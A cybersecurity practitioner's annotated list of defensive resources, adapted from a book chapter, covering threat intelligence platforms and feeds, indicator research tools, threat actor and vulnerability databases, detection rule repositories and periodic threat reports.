Cybersecurity Tools & Resources
My book Handbook for Defensive Cyberspace Operations contains an extensive chapter on tools and resources for cybersecurity analysts. As a closed project, however, this knowledge has had little impact outside of my niche community. This post contains a version of that chapter suitable for distribution to the public.
This post focuses on tools and resources for use by cybersecurity analysts leading up to, or during, an investigation. It does not contain introductory resources for topics like computer science, IT, cybersecurity, math, data science, data analysis, formal analytic methodologies, or structured analytic techniques. Those are beyond the scope of this post. While this post does contain some sources for cyber threat intelligence, see also Threat Intelligence & Threat Research for more.
This post is broken into two main sections. The first, threat intelligence, is further broken down into sources for industry threat intelligence, threat intelligence feeds, tools for indicator research, sources for threat actor information, sources for vulnerability information, and rule repositories. The second section, reference material, lists sources for helpful contextual information, scheduled reporting on the cyber threat landscape, and sources for quality technical white papers.
Threat Intelligence #
Analysts often struggle to obtain timely, accurate, relevant, predictive, and tailored intelligence about the enemy and other aspects of the operational environment. This list highlights tools, platforms, and resources for threat intelligence feeds, indicator research, threat actor information, SIEM rules, and more. For more sources of finished and raw intelligence, check out the blog post Threat Intelligence & Threat Research.
Many struggle to act on intelligence insights, especially at the rate these sources produce products and in the cyber domain in general. While this task may seem daunting, MENASEC’s How to Design Detection Logic series presents an approachable six step process for writing rules to detect malicious activity. Host, Network, and Intelligence analysts must collaborate to make this effective.
Industry Threat Intelligence #
This section lists industry threat intelligence platforms available either publicly or via subscription. Some blow off sources like these, but they are important components of a robust hunting program. Network defenders have have both nation-state and non-nation-state adversaries to contend with; even state-sponsored groups, though, often repurpose common intrusions sets to mask their activity. Some organization tends to zero in on zero day exploits, and focus on tailor-made intrusion sets, but when adversaries can get in with harvested credentials via remote management services, or by using public exploits on unpatched forward-facing servers, there’s just no need to go to such extremes.
Public threat intelligence from civilian organizations is also valuable because it gives incident responders something non-proprietary to share with local defenders.
- https://falcon.crowdstrike.com/login/ - A threat intelligence platform that provides reports, exportable indicators, and indicator search functionality.
- https://app.recordedfuture.com/live/ - Another threat intelligence platform that provides reports, exportable indicators, and indicator search functionality. Recorded Future’s reports are especially valuable for current information on APT activity and infrastructure. This platform also makes it easy to create alerts for any mention of blue infrastructure or entities on underground hacking forums and other Dark Web locations.
- https://intelligence.fireeye.com/ - A third civilian threat intelligence platform, FireEye provides reports, exportable indicators, and indicator search functionality. Like Recorded Future, FireEye also does a good job tracking nation-state APTs.
- https://otx.alienvault.com - AT&T’s Open Threat Exchange is a free, crowd sourced threat intelligence platform. It has all the same features paid alternatives offer, and while you should take some of its data with a grain of salt, it sometimes has even better information. These low-confidence associations may be just what you need to fill in the missing link.
- https://intrusiontruth.wordpress.com/ - While not a company like the other entries in this list, Intrusion Truth publishes threat research based on open-source collection, with a particular focus on the persona aspect of Chinese threat actors.
For more sources of cyber threat intelligence, check out the blog post Threat Intelligence & Threat Research. That document lists several public sources of threat intelligence from organizations, individuals, and social media sources. Leaders should use information like this to inform their operations, and analysts can integrate it into their hunts.
Threat Intelligence Feeds #
This section lists several public and private threat intelligence feeds. As part of their threat actor analysis, researchers have also built extensive lists of indicators of compromise. Collect these lists in preparation to configure the defenders‘ SIEM to automatically flag matches in host events and network traffic. Automating the detection of “known bad” is not only an important step in finding evidence of malicious activity, but also an important step to free up analysts to hunt for “unknown bad” — that is, malicious activity that has not yet been identified. The analysts’ value in the cyber domain lies in their ability to apply domain knowledge and critical thinking to discover an adversary that has taken great care to operate undetected, not searching for simple indicator matches.
While many deride these lists for producing too much noise and lacking the context necessary to drive actual decisions, they do have a place in a mature threat hunting program. If everyone knows a server or file hash is malicious, I want to know, too. If nothing else, it gives my analysts a sound basis for an investigation that may uncover other, unrelated malicious activity. Indicator overwhelm is a real challenge, though: as The Ponemon Institute’s The State of Threat Feed Effectiveness in the United States and United Kingdom found, volume is one of the most common barriers to deriving value from threat feeds. This section will only contribute to that problem, although corroboration from multiple sources may present an opportunity to score indicators to aid in their prioritization.
Public Threat Intelligence Feeds #
The following public threat feeds, listed in alphabetical order, provide primarily network indicators such as IP addresses and domain names. Some also include host indicators like file hashes or mutexes as well.
- Abuse.ch Botnet SSL Blacklist
- Abuse.ch Feodo Tracker
- Abuse.ch JA3 Fingerprint Blacklist
- Abuse.ch Malware Bazaar
- Abuse.ch SSL Certificate Blacklist
- Abuse.ch URLhaus
- Abuse.ch Zeus
- Alienvault Open Threat Exchange Indicators
- Binary Defense banlist
- Cisco Talos Intelligence
- Firehol IP blacklist
- hisTORical - hisTORical allows analysts to look back in time to view active Tor exit nodes back to February, 2010. This historical database can provide valuable insight during incident responses after the official Tor project’s exit node list has aged off.
- Lashback Spam IP Blacklist
- Malware Domain List
- Openphish domain blacklist
- OptivMSS Published Block Lists
- SANS Internet Storm Center
- VX Vault
ThreatFeeds.io indexes several other threat feeds as well. Jason Trost also maintains a helpful list of indicator repositories. TweetFeed extracts indicators from various Twitter sources.
Enrichment Feeds #
Although not threat feeds, these sources may be integrated in a similar manner as those listed above to provide important contextual information during analysis.
Although as Samaneh Tajalizadehkhoob explains in The Tale of Website Popularity Rankings: An Extensive Analysis these lists have series problems especially when used as allowlists, tagging DNS queries with their rankings can be an interesting data point to inform an analyst’s evaluation.
Similarly, tagging IP addresses as public DNS servers or cloud infrastructure can also remove a step for analysts.
- Public DNS servers.
- AWS IP ranges.
- GCP IP ranges.
- Azure IP ranges from Microsoft, via: Azure public cloud, Azure US Government cloud, Azure German cloud, and Azure China cloud.
- Cloudflare IPv4 ranges.
- Cloudflare IPv6 ranges.
Andre Toonk explained an interesting approach to mapping cloud IP space in AWS and their Billions in IPv4 addresses. Although the lists above are a good start, a more complete approach to tagging cloud infrastructure would involve techniques such as those Andre describes.
The sheer volume of indicators (and tags) from feeds like these makes using them a challenge. They also tend to disagree, as documented in papers such as A different cup of TI? The added value of commercial threat intelligence, which leads many to consider them not only more trouble than they are worth, but also unreliable. As those papers allude to, however, and as Timo Steffens explains in Attribution of Advanced Persistent Threats: How to Identify the Actors Behind Cyber-Espionage, such disagreement — and, to an extent, volume as well — is likely due to differences in collection. Entities with varying collection capabilities, that also collect data from multiple sectors and across the world, reach different conclusions based on those different data sets. This explains the common practice of vendor-specific threat actor naming conventions, which must vary to account for differences in the data underlying those assessments. Each entity has a piece of the puzzle that, when considered together, forms a more complete picture. Consider this overwhelming volume a feature, not a bug, that helps bring that picture into focus. Nikolaos Serketzis et. al. describes the benefit of an automated CTI correlation system in their paper Improving Forensic Triage Efficiency through Cyber Threat Intelligence, which relied on that volume to identify relationships between indicators. Stephen Shinol described a similar concept in Aggregating Public Domain Reputation Feeds.
Indicator Research #
This section lists public tools and resources for indicator research. They give analysts critical contextual information to inform their priorities and guide their hunts. As Zane Pokorny explained in Recorded Future’s The Threat Intelligence Handbook, “An analyst attempting to triage an initial alert without access to enough context is like a person trying to understand a news story after reading just the headline. ... This enrichment enables SOC analysts to quickly identify the most significant threats and take immediate, informed actions to resolve them.”
Analysts may consider using these tools through intermediary infrastructure, and limiting their use where possible, to avoid tipping off adversaries by inadvertantely prompting a scan of their infrastructure, for example, or by uploading bespoke malware to a public sandbox.
The list below consists of two sections: one for primarily network-focused indicator research of IP addresses, domains, and the like, and another for primarily host-focused indicator research of file hashes and executables. In many cases, however, these tools do not fit neatly into one category or the other. Many malware sandboxes, for example, accept file uploads but also allow users to search their reports for IP address and domain matches. This can help associate anomalous network activity with known malware, or vice-versa. I binned these tools according to their main function, but took care to identify those secondary uses in their descriptions.
Network-Focused Indicator Research #
- https://stat.ripe.net/ - RIPEstat provides current and historical IP address, ASN, and domain lookups, plus Border Gateway Protocol (BGP) information. Although other Regional Internet Registries may have similar data, RIPE does the best job presenting it. RIPEstat’s greatest value-add is its BGP routing information: whereas IP geolocation is woefully inaccurate, BGP routes allow analysts to view the actual path Internet traffic to from source to destination through various core routers at known locations across the globe. This enables analysts to map the logical Internet to the physical world and incorporate accurate geolocation into their analysis. https://bgp.he.net/, https://bgpview.io/, and https://bgp.tools/ all provide similar information through different interfaces. See also the University of Oregon’s Route Views Project, which collects and makes available BGP data from across the globe. Services like Cisco’s BGPStream and the Georgia Institute of Technology’s Global Routing Intelligence Platform help identify anomalous BGP events like BGP hijacks.
- https://www.threatminer.org/ - Open-source threat indicator database.
- https://www.threatcrowd.org/ - Open-source threat intelligence database that also includes geolocation and routing info.
- https://pulsedive.com - Pulsedive is a free threat intelligence platform that provides indicator lookup tools as well as threat group information and indicator feeds. It’s Pro account is reasonably priced, but even with just the free version, Pulsedive provides access to a lot of helpful information in a simple interface that supports a productive pivoting workflow.
- https://greynoise.io/ - Greynoise records instances of malicious activity across the Internet. Through its simple interface you can identify SSH brute forcers, scanners, malware traffic, and many other types of activity. This tool provides helpful context when determining whether a network was targeted or simply another endpoint in a long, generic list. With a free account, you can also set up alerts to monitor specific networks or look for certain activity.
- https://www.shodan.io/ - Shodan provides users with rich results of its regular internet scans. Through its interface, users can view information such as open ports, web page content, and service information without ever interacting with the actual host. It also enables users to pivot from IP to domain to certificate, and any other combination of those three. Although Shodan can scan hosts on-demand, this requires using the back-end API. Using this tool as a search engine does not cause it to interact with anything. Netlas.io and Natlas.io, not to be confused with each other, both provide access to similar data through a similar query language.
- https://censys.io/ - Censys provides passive IP, domain, and certificate lookups. For hosts, it includes open ports, geolocation, and WHOIS information; for certificates, fingerprint, keys, signatures, and other pertinent information. This information is also available in the Internet-Wide Scan Data Repository at scans.io. Spyse, ONYPHE, Criminal IP, and CIRCL’s PassiveSSL project provide access to similar data, although Censys operates one of the largest, fastest, and most complete internet scanners in existence. Google’s Dataset Search search engine makes finding these types of data sets easy.
- https://fullhunt.io/ - FullHunt helps organizations understand their external attack surface. Shodan, Netlas, and Natlas can provide similar information.
- https://leakix.net/ - LeakIX is an internet search engine similar to Shodan and Censys that also offers a convenient report generation feature for easy information sharing.
- https://crt.sh/ - crt.sh provides simple, free SSL certificate lookups.
- https://community.riskiq.com/login - Think of RiskIQ as “Censys+”: it provides current and historical IP, passive DNS, reverse DNS, and certificate lookups — and some OSINT integration — that enables analysts to quickly pivot from an one indicator to another. DNS Dumpster and DNSViz provide access to DNS information only.
- https://www.domaintools.com/ - In some ways Domain Tools has even better information than RiskIQ. With better retention, fewer limits, and a productive pivoting workflow that documents investigations as analysts execute them, Domain Tools wins out over all alternatives.
- https://typosquatting-finder.circl.lu/ - Circl.lu’s typosquatting finder makes identifying potential typosquats of an initial seed domain easy: simply input an initial domain name and Circl.lu will return similar active domains.
- https://intelx.io/ - Intelligence X scrapes information from a variety of locations, including the dark web. While not an indicator lookup tool in the same way that others in this list are, providing information about the indicator itself, this platform provides interesting contextual information to analysts. Think of Intelligence X as more of a research platform for OSINT.
- https://synapsint.com/ - A cross between lookup tools in this list and Intelligence X, SynapsInt aggregates indicator information as well as contextual information from pastes, blacklists, and other sources from around the internet. Synapsint also returns screenshots when given a website as input. but for investigating and pivoting off of websites, see the tools below.
- Following the identification of a malicious website such as a front for a C2 server, a watering hole, or a phishing lure, web scraper data can generate several interesting leads. Tools like URLScan from SecurityTrails allow users to run public, unlisted, or private “scans” to view a website’s content without directly interacting with it. Nerdy Data, SpyOnWeb, and PublicWWW specialize in finding related websites based on similarities like code reuse, tracking codes, and common technology stacks. Shodan even allows users to search a page’s content for key words, code reuse, or even unique colors. The Common Crawl project scrapes content from across the internet and then makes it available for download through its website and via Amazon. Enterprising data scientists could use this raw data to feed a local tool for identifying similar websites.
- https://nslookup.io - This website provides simple, free DNS lookups for a variety of DNS resolvers. This can be useful to identify instances where most DNS resolvers return a legitimate server to a legitimate DNS request, but an adversary has co-opted others to return their illegitimate server instead. Shodan now provides similar functionality in their tool Geonet, which can ping or execute DNS lookups from servers around the world.
- https://www.scans.io/ - The Stanford Internet Research Data Repository provides offline access to similar data sets as Censys, RiskIQ, and Domain Tools through the Rapid7 Labs Open Data initiative. Amazon also hosts a subset of this data, the Rapid7 FDNS ANY dataset, as part of its open data repository.
- https://ja3er.com/ - JA3 and JA3S hashes enable reliable fingerprinting of encrypted connections; the crowdsourced ja3er database ties those hashes to applications and services which makes for a useful data point in network analysis.
- https://cybergordon.com/ - CyberGordon provides a single front-end to query many of the services in this list such as Grey Noise, Virustotal, AlienVault OTX, and others. While analysts should take care when using this or any other online platform to avoid tipping their hand to a watchful adversary, this tool can help speed up the pace of analysis by reducing the need to run single queries across multiple websites.
- https://expireddomains.net/ - ExpiredDomains.net does exactly what its name implies: lists expired (and expiring) domains. This is a useful source for detecting recently expired or transferred domains an adversary might use to obfuscate their activity. In Expired Domain Dumpster Diving, Christopher DeWeese discusses this technique and detection methods.
- https://packettotal.com/ - PacketTotal does for network packet captures what VirusTotal does for malware samples: it performs cursory analysis of the file and highlights interesting information for analysts. PacketTotal also offers an indicator lookup feature. This can provide analysts with helpful contextual information such as whether or not anyone else has observed and flagged a particular domain or IP address in their network traffic.
- https://lots-project.com/ - The Living Off Trusted Sites (LOTS) project lists legitimate domains adversaries have co-opted for their own purposes.
- https://labs.inquest.net/ - InQuest Labs offers several interesting lookup tools that tie in well with each other and other external services listed here. Its reputation database (REP-DB) provides IP look ups, and its indicator of compromise database (IOC-DB) allows analysts to search for domains, URLs, IP addresses, and hashes. InQuest Labs also provides free API access to these services for integration into tools like Jupyter notebooks.
- https://ipinfo.io/ - IP Info provides basic information about IP addresses such as geolocation and registrant. Its generous free tier makes this a great tool for bulk IP enrichment for basic contextual information.
Host-Focused Indicator Research #
- https://www.virustotal.com/ - VirusTotal is the premiere indicator research tool. Given just a single indicator, it can identify malware samples with matching C2 domains and IP addresses, access historical antivirus scan results for that malware based on its hash, and even provide detailed sandbox reports that describe its execution flow. VirusTotal is the first stop for many threat researchers, and for good reason. MetaDefender, Hybrid Analysis, Joe’s Sandbox, Polyswarm, Any.Run, ThreatFox, Malware Bazaar,and Malwares all provide similar functionality with some interesting differences, such as Malwares’ ability to search for malware exploiting specific CVEs, filter based on malware like Cobalt Strike, and identify types of malware like webshells. Many of these websites also allow analysts to upload their own samples for analysis and correlation, but defenders should generally avoid doing so. Some threat actors monitor platforms like these for their own malware: once their binaries appear, they know to adjust their techniques or operational timeline to stay ahead of the network defenders. Take care not to tip your hand. When these tools match potential malware samples against tens of engines, also take care not to over-index on a single result. Some analysts get hung up on files that just one vendor flags as malicious, but keep in mind the practice of “antivirus thresholding”, in which some minimum number of antivirus engines must detect a file as malicious in order for it to be considered a true positive. This applies to other indicator types as well, but especially to file hashes and antivirus engines.
- https://urlhaus.abuse.ch/ - Abuse.ch’s URLHaus catalogs malicious URLs that host malware. Among others, the database allows users to filter by malware hash and family, making it easy to identify and then search for known malicious endpoints in a SIEM.
- https://malpedia.caad.fkie.fraunhofer.de/ - Malpedia contains information about threat groups and the malware they use. To help support tying malware to an actor, or to narrow an analyst’s scope based on evidence of a particular group in the environment, go here. Trend Micro makes similar information available in its Threat Encyclopedia.
- https://lolbas-project.github.io/ - The Living Off The Land Binaries, Scripts and Libraries (LOLBAS) project details ways in which threat actors abuse legitimate biaries, scripts, and libraries to reduce their reliance on external tooling that would increase their chances of discovery. The WTFBins, GTFOBins, MalAPI, and Filesec projects share similar information about how adversaries attempt to blend in with normal activity.
OSINT Framework makes it easy to find tools and resources for the information you have and wish to enrich, or the information you need and do not know how to get. Look here to fill gaps not addressed by other tools in this section. For a more up to date version of OSINT Framework, check out the fork Malfrat’s OSINT Map. i-Intelligence’s annual Open Source Intelligence Tools and Resources Handbook links to this website as well as hundreds of others in an over 500 page directory of tools, platforms, and resources for OSINT grouped by function. MetaOSINT groups and presents OSINT resources by category in an interactive map. The OSINT Treasure Trove catalogs reports and guides on this topic; look here for more OSINT tradecraft and less OSINT tooling. For a gentle guide into the world of open-source intelligence, check out Bellingcat’s helpful guide First Steps to Getting Started in Open Source Research.
Threat Actor Information #
Researchers have done extensive work to characterize the peculiarities of individual threat actors. In many cases, these robust threat profiles detail past activities, likely future targets, and catalog adversary activity from initial compromise all the way through data exfiltration to include the tools they use. Use this information, these tactics, techniques, procedures (TTPs), and known tool sets to inform the information collection matrix (the detection mechanisms that will help find the actors) and defensive engineering plan (the countermeasures that will confound them). As you work through a cyber threat framework, and the indicators begin to point to a few actors, use these resources to gather more information on them. This section lists public resources for threat actor research.
- A Threat Actor Encyclopedia - ThaiCERT compiles threat profiles based on open-source reporting into a single, easily searched and referenced document. Look to this excellent resource for information to inform your intelligence assessments. The accompanying website makes filtering through this trove of information easier.
- https://vx-underground.org/apts - VX Underground does an excellent job of aggregating APT reporting, malware samples, and informational papers. This repository includes not just current information, but also reports going all the way back to 2010. This is a wealth of information to better understand advanced, persistent threats. The APT Notes repository aggregates similar information, providing an easy way to access publicly available reports and blog posts about APT activity.
- https://apt.threattracking.com - This crowdsourced resource not only standardizes APT names, but also catalogs their tool suites, TTPs, and reports on their activity. The EternalLiberty project does the same.
- https://attack.mitre.org/ - MITRE’s ATT&CK matrix does two valuable things: first, it associates techniques with stages in a compromise. Phishing, for example, is used for initial access, after which the creation of scheduled tasks may be used for persistence. This is helpful because it can focus analytic priorities: without a reason to suspect an adversary has already gained access to a network, analysts should focus on identifying techniques used in the early stages of a compromise; during an incident response, they may work backwards from end actions to discover the initial avenue of approach — what authors Roman Daszczyszak, Steve Luke, and Sean Whitley in TTP-Based Hunting called “pulling the thread”. The second valuable thing this website does is associate techniques with threat groups. If Iranian actors may be targeting a network, for example, use this resource to identify techniques previously associated with these groups for which analysts can then search. The MITRE ATT&CK framework also facilities overlaying observed techniques in time, which aids in briefing senior leaders. MITRE provides the ATT&CK matrix in several forms on its Working with ATT&CK page, which also lists tools for working with it. For help building detections for MITRE techniques, check out MITRE’s Cyber Analytics Repository and the Control Validation Compass tool; for help understanding how to defend against or detect specific techniques, check out MITRE’s D3FEND framework and the accompanying informative white paper SANS 2022 ATT&CK and D3FEND Report: Incorporating Frameworks into Your Analysis and Intelligence. MITRE also maintains the Common Attack Pattern Enumerations and Classifications (CAPEC) project, which describes entire attack chains.
- https://mitre-attack.github.io/attack-navigator/enterprise - The ATT&CK Navigator provides an easy way to visualize ATT&CK coverage and tie APTs to techniques; exporting these products can aid in the creation of interesting overlays.
- https://pan-unit42.github.io/playbook_viewer/ - Palo Alto’s Unit 42 Playbook Viewer provides information similar to the ATT&CK Navigator, in the last bullet, with some notable differences. For one, it not only breaks down the TTPs for individual actors across the MITRE ATT&CK Matrix, it also maps this information to the Lockheed Martin Cyber Kill Chain. The Playbook Viewer also presents this information for individual operations, rather than the group as a whole, and includes indicators for most of the techniques, too.
Vulnerability Information #
This section lists several useful resources for gathering vulnerability information, key to rounding out your understanding of the desires, abilities, and opportunities of your adversaries. Fortunately, as the authors of Historical Analysis of Exploit Availability Timelines explain, “On the one hand, relatively few CVE-IDs have exploit code publicly available.” Unfortunately, as they also explain, “On the other hand, for those CVE-IDs that do, it is usually public quite quickly — the median time is within two days.” Worse, as Jonathan Spring, Sarah Kern, and Alec Summers describe in Global Adversarial Capability Modeling, the Adversary Capability Chain model shows actor capability progressing from the skilled and well-financed in the early days of a system’s existence to those with fewer resources later in its life. This is an important point that proves systems remain vulnerable over time, the actor likely to exploit those vulnerabilities just changes. While these resources will not make the patching process easier, they will help identify the vulnerabilities most in need of immediate attention.
- https://nvd.nist.gov/ - NIST’s National Vulnerability Database provides an overwhelming amount of information on this topic. Search for information about individual vulnerabilities to better understand detection opportunities, or search for individual technologies to understand your organization’s exposure. CVE Details provides access to the same information through a different interface. The Open Cloud Vulnerability & Security Issue Database catalogs cloud vulnerabilities, which do not receive CVE designations as other vulnerabilities do.
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog - CISA’s Known Exploited Vulnerabilities Catalog lists vulnerabilities CISA has observed actively exploited in the wild. This information should help prioritize patching the thousands of vulnerabilities disclosed each month. See also CISA’s weekly vulnerability bulletins. Grey Noise is another great resource for this information. Even with a free account, you can search for hosts actively scanning for and exploiting vulnerabilities across the internet.
- https://attackerkb.com/ - AttackerKB has vulnerability information like others in this list, but also includes crowdsourced analysis, MITRE ATT&CK mappings, and tags for exploitation in the wild.
- https://cvestalker.com/ - CVE Stalker aggregates information about vulnerabilities from Twitter. This can also help prioritize patching by helping analysts understand the prevalence of, and discussion surrounding, new vulnerabilities. CVE Trends provides similar information. GreyNoise, linked in the Network-Focused Indicator Research section, also provides a helpful Trends page that not only shows vulnerability exploit attempts over time, but also provides static and automated IP block lists as well. These tools make it easy to quickly get up to speed on new vulnerabilities.
- https://www.kb.cert.org/vuls/ - The Carnegie Mellon University Software Engineering Institute CERT Coordination Center maintains a database with detailed information about public vulnerabilities. Although this resource lacks the breadth of others in this list, with information about some vulnerabilities but by no means all of them, its detailed write ups are unmatched.
- https://www.exploit-db.com/ - Unlike others in this list, Exploit Database does not provide information about vulnerabilities — it provides the actual code to exploit them. Defensive forces should use websites like this to better understand exploits in order to develop detection mechanisms. Rapid 7 also maintains a Vulnerability & Exploit Database, and Sploitus contains similar information.
Rule Repositories #
This section lists several repositories where analysts can find rules to aid in the identification of malicious activity.
- https://car.mitre.org/ - MITRE’s Cyber Analytics Repository (CAR) details detections for the techniques its ATT&CK matrix details. Although not yet complete, CAR already contains tens of rules for multiple platforms written in multiple query languages. Also check out the accompanying GitHub repository for a more machine-friendly version of these rules.
- https://github.com/SigmaHQ/sigma - The Sigma project describes rules in a SIEM-agnostic way. With hundreds of signatures and more each day, Sigma is a wealth of knowledge for identifying evidence of malicious activity. The Sigma/Suricata to ATT&CK Navigator (S2AN) project builds ATT&CK Navigator overlays based on SIGMA rule coverage, which makes visualizing gaps in detections simple.
- https://github.com/Neo23x0/signature-base - Florian Roth is one of the main drivers behind the Sigma project. This
repository contains a collection of his YARA rules used in his scanners and other tools.
- https://github.com/Azure/Azure-Sentinel - Although geared toward Azure Sentinel, both the “Detections” and “Hunting Queries” folders contain logic for rules that can be ported to any SIEM. Microsoft also maintains a separate repository, Advanced hunting queries for Microsoft 365 Defender, with similarly useful rules.
- https://github.com/chronicle/detection-rules - Although not as extensive as other repositories in this list, Google’s Chronicle detection rules may provide inspiration for custom ones.
- https://github.com/dnif/content - DNIF, another SIEM like Splunk and ELK, also maintains a public rule repository with hundreds of rules.
- https://github.com/elastic/detection-rules/ - Although built for Elastic Security, the logic in these rules can be ported to any SIEM. Elastic even ties their detections to MITRE ATT&CK techniques for easier prioritization. Elastic’s Prebuilt Rules documentation also describes hundreds of rules built into Elastic Security. See also Elastic’s Protection Artifacts repository which contains the detection logic for Elastic Security for endpoint.
- https://github.com/FalconForceTeam/FalconFriday - FalconForce updates this repository bi-weekly with new Microsoft Defender for Endpoint rules that, again, analysts may port to the SIEM of their choosing.
- https://github.com/GoogleCloudPlatform/security-analytics - Google’s Community Security Analytics (CSA) project seeks to provide defenders with a repository for uncovering malicious activity within Google’s cloud environment. Again, analysts may look to these rules for inspiration or translate them as necessary.
- https://github.com/mandiant/capa-rules - Mandiant’s rule repo for the
tool, which analyzes executables in an attempt to determine their true function, does not apply as directly to SIEM rule generation as other entries in this list do. However, when writing host-based Yara rules, for example, this repository may provide some helpful inspiration. For more on Yara rules, see the GitHub repository Yara Rules. Tools like Yara Debug can also help troubleshoot those rules.
- https://github.com/OTRF/ThreatHunter-Playbook - Although a work in progress, the Open Threat Research Forge’s ThreatHunter Playbook already contains several analytics for its Jupyter Notebook-based analysis environment. Like other resources in this list, the logic in these rules can be ported to any SIEM.
- https://github.com/palantir/alerting-detection-strategy-framework - Sigma has become the de facto industry standard for generic SIEM rules, but Palantir’s Alerting and Detection Strategy Framework complements it nicely. With helpful information for detection engineers and analysts alike such as “Blind Spots and Assumptions”, “Priority”, and “Response”, this framework helps turn low-context and thus low-value rules into defensible bases for investigations.
- https://github.com/panther-labs/panther-analysis - Panther Labs maintains a public repository of the rules built into their Panther tool.
- https://research.splunk.com/detections/ - Splunk mapped its massive detection repository to the MITRE ATT&CK tactics, grouped them by platform, and posted them for everyone to use. Although geared toward Splunk, analysts can port this logic to other platforms, too.
- https://rules.emergingthreats.net/ - Proofpoint’s Emerging Threats repository contains rules designed for Snort and Suricata. While analysts could port their logic to a SIEM, these rules are best suited to generating alerts for analysts to review through those intrusion detection systems.
- https://socprime.com/ - While SOC Prime offers some rules for free, most of its content is behind a paywall. Explore the free rules and consider upgrading if this book and these other sources do not suffice.
- https://uncoder.io/ - Uncoder translates Sigma rules for different SIEMs.
These repositories contain thousands of rules. This should make obvious the fact that the limiting factor in uncovering malicious activity has never been (nor will it ever be) the analyst’s ability to understand adversary tradecraft and create mechanisms to detect it; the limiting factor has always been (and forever will be) the organization’s willingness to enable those analysts with correct and complete data in a stable platform. As long as the organization can satisfy those criteria, its ability to detect even the most advanced threat actors will then become a question of expertise and a rigorous methodology, as explained in Requirements for Hunting. Each of those challenges are solvable.
For help prioritizing the alerts they produce, check out Josh Lemon’s Cybersecurity Alert Priority Matrix.
Although robust rule repositories are helpful, as David Duggan et. al. explained in Categorizing Threat: Building and Using a Generic Threat Matrix it is impractical to keep up with the threat landscape. Instead, defenders must defend against general threats rather than specific ones, which the recommendations in the rest of this book support. As a general rule, defenders should be threat-informed but threat-agnostic.
Reference Material #
This section lists resources that provide analysts with helpful contextual information. For example, port to service mappings, descriptions of Windows Event IDs, and statistics on botnet and spam traffic from countries around the world. These resources do not provide analysts with indicators or allow them to enrich individual data points, but rather enable them to better understand their operating environment and thus produce more thoroough analysis.
- https://speedguide.net/ - SpeedGuide.net maintains an excellent port database with much more useful information than IANA’s list: it not only includes official assignments, but observed port-to-service associations for applications and malware as well. Microsoft’s Service overview and network port requirements for Windows article lists required network ports, protocols, and services used by Microsoft client and server operating systems, server-based programs, and their subcomponents in the Microsoft Windows Server system.
- https://www.ultimatewindowssecurity.com/ - Randy Smith maintains one of the most comprehensive catalogs of Windows Event IDs on the internet. While it may make sense to refer to Microsoft’s documentation at times, this handy website provides a quick, easy reference for most use cases. The Awesome Event IDs repository on GitHub links to this and several other similar resources for exploring and understanding Windows Event Logs.
- Windows Commands Reference - Microsoft maintains an authoritative and exhaustive encyclopedia of Windows commands. When parsing through Windows Event Logs and when encountering unusual executables in particular, this site provides a quick and easy way to highlight binaries likely to be abused.
- https://strontic.github.io/xcyclopedia/ - xCyclopedia documents many of the executable binaries (and eventually scripts) that reside on a typical operating system. It can serve as a reference for looking up unusual binaries or, when downloaded, provide automated enrichment for host events.
- https://www.spamhaus.org/ - The Spamhaus Project provides analysts with a wealth of useful contextual information, such as statistics for countries involved in spam and botnet traffic. Connections involving infrastructure in those countries may warrant scrutiny. Domain Tools and the Center for Applied Internet Data Analysis (CAIDA) also publishes research on this subject.
- http://www.surbl.org/ - Among many closed data sources, SURBL provides information about most the most abused top level domains and URL redirectors. The Spamhaus Project most abused TLD list provides similar information.
Scheduled Reporting #
Reports in this section provide informative overviews of common TTPs based on thousands of compromises. These documents tell you exactly what adversaries are doing right now, or at least what they did in the near past. This is some of the best threat intelligence available. Use these to begin understanding the adversary and adjusting your detection strategy accordingly. In alphabetical order by publisher:
- Australian Cyber Security Centre (ACSC) - Published annually. In addition to the annual Cyber Threat Report, the ACSC also publishes other useful reports that focus on individual industries or technologies.
- CertNZ - Published quarterly. CertNZ’s Quarterly Reports are based on government-executed incident responses in that region.
- Check Point Research - Published annually and bi-annually. Check Point Research’s reports stay high-level, looking at attack trends, cybersecurity posture, and specific verticals such as mobile and cloud.
- CrowdStrike - Published annually. CrowdStrike publishes several annual reports with helpful insight for network defenders. The Threat Hunting Report “reviews intrusion trends, provides insights into current adversary tactics and delivers highlights of notable intrusions.” The Global Threat Report “covers real-world scenarios and observed trends in attackers‘ ever-evolving tactics, techniques and procedures and offers practical recommendations to protect your organization in the coming year.” Finally, the Global Security Attitude Survey aggregates responses from thousands of IT professionals across the world — think of this as similar to SANS’ regular surveys of the industry.
- Digital Shadows - Published quarterly. Digital Shadows’ reports focus on specific sectors, as many in this list do, but they also publish other interesting overviews such as their initial access broker landscape report.
- Dragos - Published annually. Dragos’s State of Industrial Cybersecurity reports focus not on enterprise threats as all others on this list do, but rather on threats to industrial control systems.
- ESET - Published quarterly. ESET’s quarterly threat reports discuss high-level trends.
- Expel - Published monthly. Expel’s Top Attack Vectors articles lack the breadth and depth of other reports in this list, but these concise, focused posts are a valuable data point when studying intial access vectors.
- Google - The Google Cybersecurity Action Team focuses specifically on the cloud threat landscape, but these reports have value to defenders regardless of their sector. Google’s Threat Analysis Group (TAG) also publishes quarterly bulletins as well as periodic reports on specific malware or threat actor activity.
- Group-IB - Published annually. Group-IB’s annual reports review trends and, in some instances, focus on specific types of attacks such as ransomware.
- HP - Published quarterly and bi-annually. These brief overviews highlight notable events but look to other sources for in-depth analysis of trends.
- IronNet - Published monthly. IronNet’s monthly Threat Intelligence Briefs provide rapid information on new and emerging threats.
- Kaspersky - Published annually. Kaspersky publishes a handful of different annual reports, from high-level overviews to sector-specific ones.
- Mandiant - Published annually, bi-annually, and quarterly. Mandiant’s M-Trends Reports run the gammut from broad strokes threat landscape examinations to specific threats to certain regions of the world. These are some of the best reports from one of the best threat intelligence companies in the world.
- Microsoft - Published annually. Microsoft’s Digital Defense Report covers the threat landscape, focusing on trends and mitigations.
- National Cyber Security Centre (NCSC) - Published annually. The NCSC Annual Reviews from the UK discuss trends and government actions to counter malicious cyber activity.
- Phish Labs - Published quarterly. Like Expel, Phish Labs’ Quarterly Threat Trends & Intelligence reports focus on initial access vectors — specifically how adversaries are doing it and who they are doing it to.
- Proofpoint - Published annually, bi-annually, and weekly. Proofpoint’s brief weekly updates are a great source for new and emerging threats. Paired with their in-depth annual reports, Proofpoint is a great source for threat intelligence.
- Recorded Future - Published annually and bi-annually. Recorded Future publishes an annual adversary infrastructure report, and a bi-annual malware and vulnerability trend report.
